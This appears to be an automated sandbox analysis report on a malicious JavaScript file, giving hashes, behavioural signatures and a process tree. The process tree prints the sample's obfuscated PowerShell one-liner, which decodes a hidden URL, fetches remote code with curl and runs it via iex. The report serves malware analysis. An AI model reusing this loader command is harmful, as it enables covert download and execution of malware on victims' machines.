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Analysis

  • max time kernel
    135s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/05/2023, 15:41

General

  • Target

    ABLO0145.js

  • Size

    783KB

  • MD5

    7185517bd517dc2b79366fdba3af18fb

  • SHA1

    274760c0ce0c69e93e73d83f9e954fb3b2e8f3a8

  • SHA256

    99ef739335b8a3138f049a2cdca74d07688e6f2f87c9bb86c5ff6a2c0ac26113

  • SHA512

    2a06d4b3ee0ea50bc5634674fe73b6a4be7ee98b670d7363a85c5f509c86e554797527db9a16832a3e88d7ded314bdd7386e756d789e267196ebcc968f1e7ccb

  • SSDEEP

    3072:9MBzJEHRkkDnXOxU9nVUfPRlKaR6NgyvtqWXloUcrpVhp4+b1Ifd5xkypoVe/Fpl:IMaD1Bo1oiKyuuf

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ABLO0145.js
    1⤵
      PID:4672
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(4396,4408,4408,4404,4350,4339,4339,4407,4392,4394,4403,4407,4338,4394,4409,4402,4339,4406,4408,4338,4404,4396,4404,4355,4397,4353)|foreach{$vgybjh=$vgybjh+[char]($_-4292)};$qomxuv='l';$tgz=$(hostname);new-alias trys cur$qomxuv;.$([char](7892-7787)+'ex')(trys -useb "$vgybjh$tgz")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(4396,4408,4408,4404,4350,4339,4339,4407,4392,4394,4403,4407,4338,4394,4409,4402,4339,4406,4408,4338,4404,4396,4404,4355,4397,4353)|foreach{$vgybjh=$vgybjh+[char]($_-4292)};$qomxuv='l';$tgz=$(hostname);new-alias trys cur$qomxuv;.$([char](7892-7787)+'ex')(trys -useb $vgybjh$tgz)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\system32\HOSTNAME.EXE
          "C:\Windows\system32\HOSTNAME.EXE"
          3⤵
            PID:4244

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gw4j2u3f.uzk.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4816-138-0x000002734A7E0000-0x000002734A802000-memory.dmp

        Filesize

        136KB

      • memory/4816-143-0x0000027348760000-0x0000027348770000-memory.dmp

        Filesize

        64KB

      • memory/4816-144-0x0000027348760000-0x0000027348770000-memory.dmp

        Filesize

        64KB

      • memory/4816-145-0x0000027348760000-0x0000027348770000-memory.dmp

        Filesize

        64KB